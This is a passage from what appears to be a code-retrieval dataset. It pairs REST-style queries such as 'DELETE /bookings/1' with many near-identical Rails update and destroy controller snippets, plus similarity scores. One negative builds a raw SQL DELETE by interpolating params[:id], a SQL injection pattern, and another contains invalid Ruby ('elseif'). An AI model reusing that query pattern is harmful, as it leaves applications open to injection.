"def update\n @book = Book.find(params[:id])\n \n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, :notice => 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_back(fallback_location: salons_path) }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to hairdresser_booking_path(@hairdresser, @booking), notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n params[:book_shelf]['user'] = User.where(:id => params[:book_shelf]['user']).first\n params[:book_shelf]['book'] = Book.where(:id => params[:book_shelf]['book']).first\n @book_shelf = BookShelf.find(params[:id])\n respond_to do |format|\n if @book_shelf.update_attributes(params[:book_shelf])\n format.html { redirect_to @book_shelf, notice: 'Book shelf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book_shelf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params.except(:mode_of_booking))\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n if params[:action] == \"RETURN_BOOK\" \n @book.return()\n elseif params[:action] == \"BORROW_BOOK\"\n @book.borrow()\n end\n \n if @book.update(book_params)\n head :no_content\n else\n render json: @book.errors, status: :unprocessable_entity\n end\n end",
"def update\n @book = Book.find(params[:id])\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_api_v1_booking\n @api_v1_booking = Booking.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @booking = Booking.find_by(id: params[:id])\n @booking.update(acceptance: true)\n UserMailer.confirm_email(@booking).deliver_now\n redirect_to job_bookings_path(params[:job_id]), notice: 'Application was successfully updated.' \n # respond_to do |format|\n # if @booking.update(booking_params)\n # format.html { redirect_to @booking, notice: 'Application was successfully updated.' }\n # format.json { render :show, status: :ok, location: @booking }\n # else\n # format.html { render :edit }\n # format.json { render json: @booking.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def update\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n flash[:notice] = 'Booking was successfully updated.'\n format.html { redirect_to(@booking) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @booking.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find_by_id(params[:id])\n\n if @book.present?\n if @book.update(book_params)\n render json: {\n type: 'success',\n result: @book\n }, status: :created\n else\n render json: {\n type: 'failed',\n message: @book.errors,\n result: {}\n }, status: :bad_request\n end\n else\n render json: {\n type: 'failed',\n message: 'data with id:' + params[:id] + ' not found',\n result: {},\n }, status: :not_found\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to manage_books_path, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book_request.update(book_request_params)\n format.html { redirect_to @book_request, notice: 'Book request was successfully updated.' }\n format.json { render :show, status: :ok, location: @book_request }\n else\n format.html { render :edit }\n format.json { render json: @book_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: \"Book was successfully updated.\" }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: \"Book was successfully updated.\" }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bookalawn.update(bookalawn_params)\n format.html { redirect_to @bookalawn, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bookalawn.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to [current_user, @book], notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render layout: 'form', action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: \"Book was successfully updated.\" }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.70660025",
"0.7035505",
"0.6951961",
"0.69296867",
"0.69296867",
"0.69296867",
"0.6925516",
"0.68727815",
"0.67891777",
"0.6737531",
"0.67097384",
"0.66782904",
"0.66559863",
"0.66393423",
"0.66337067",
"0.6626812",
"0.6624749",
"0.6619827",
"0.66093636",
"0.66093636",
"0.66093636",
"0.66093636",
"0.66093636",
"0.66093636",
"0.66093636",
"0.66093636",
"0.66093636",
"0.66093636",
"0.66093636",
"0.66093636",
"0.66082895",
"0.65981305",
"0.6595154",
"0.6593476",
"0.65934265",
"0.659084",
"0.6584183",
"0.6584166",
"0.6561052",
"0.65553087",
"0.65322477",
"0.6529612",
"0.6523589",
"0.6515063",
"0.6515063",
"0.6515063",
"0.6515063",
"0.6515063",
"0.6515063",
"0.6515063",
"0.6515063",
"0.6515063",
"0.6507954",
"0.64862746",
"0.64797735",
"0.64761007",
"0.6454814",
"0.6449431",
"0.64331555",
"0.64331055",
"0.643187",
"0.6429618",
"0.64226043",
"0.6413251",
"0.64013135",
"0.63997084",
"0.63967204",
"0.63967204",
"0.6392915",
"0.63899714",
"0.63899714",
"0.63899714",
"0.63899714",
"0.63848686",
"0.63805646",
"0.6373867",
"0.6373513",
"0.6372871",
"0.6372871",
"0.6372871",
"0.6372871",
"0.6372871",
"0.6372871",
"0.6372871",
"0.6372871",
"0.6372871",
"0.6372871",
"0.6372871",
"0.6372871",
"0.6372871",
"0.6372871",
"0.6372871",
"0.6372871",
"0.6372871",
"0.6372871",
"0.6372871",
"0.6372871",
"0.6372871"
] | 0.66938263 | 13 |
DELETE /bookings/1 DELETE /bookings/1.json | def destroy
@booking.destroy
respond_to do |format|
format.html { redirect_to bookings_url }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to '/bookings' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: t('.success') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to(bookings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to(bookings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_index_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to admin_bookings_url, notice: 'Bookingen er nu slettet.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: \"Booking was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: \"Booking was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n book = Book.find(params[:id])\n book.destroy\n \n render json: {}, status: 204\n end",
"def destroy\n @api_book.destroy\n\n head :no_content\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n \n format.json { render json: @book, status: :created, location: @book }\n end\n end",
"def destroy\n @booking = @room.bookings.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to property_room_bookings_url(@property, @room) }\n format.xml { head :ok }\n end\n end",
"def destroy\n sql = \"DELETE FROM Booking WHERE bookingId = #{params[:id]}\"\n ActiveRecord::Base.connection.execute(sql)\n\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n\n head :no_content\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n \n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bidding = Bidding.find(params[:id])\n @bidding.destroy\n\n respond_to do |format|\n format.html { redirect_to biddings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to profile_bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url }\n end\n end",
"def destroy\n @book_shelf = BookShelf.find(params[:id])\n @book_shelf.destroy\n\n respond_to do |format|\n format.html { redirect_to book_shelves_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bookable.destroy\n respond_to do |format|\n format.html { redirect_to bookables_url, notice: 'Bookable was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html do\n redirect_to bookings_url,\n notice: 'Booking was successfully destroyed.'\n end\n format.json { head :no_content }\n end\n end",
"def destroy\n @bookalawn.destroy\n respond_to do |format|\n format.html { redirect_to bookalawns_url }\n format.json { head :no_content }\n end\n end",
"def delete_bookings()\n sql = \"DELETE FROM bookings\n WHERE bookings.member_id = $1\"\n values = [@id]\n SqlRunner.run(sql, values)\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to static_pages_new_booking_enquiry_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n respond_with(@booking)\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to options_path, notice: 'Booking was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to hairdresser_bookings_path(@hairdresser), notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :ok }\n end \n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @book = Book.find(params[:id])\r\n @book.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to books_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @guestbook = Guestbook.find(params[:id])\n @guestbook.destroy\n\n respond_to do |format|\n format.html { redirect_to guestbooks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @book = Book.find(params[:id])\r\n @book.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to books_url }\r\n format.json { head :ok }\r\n end\r\n end",
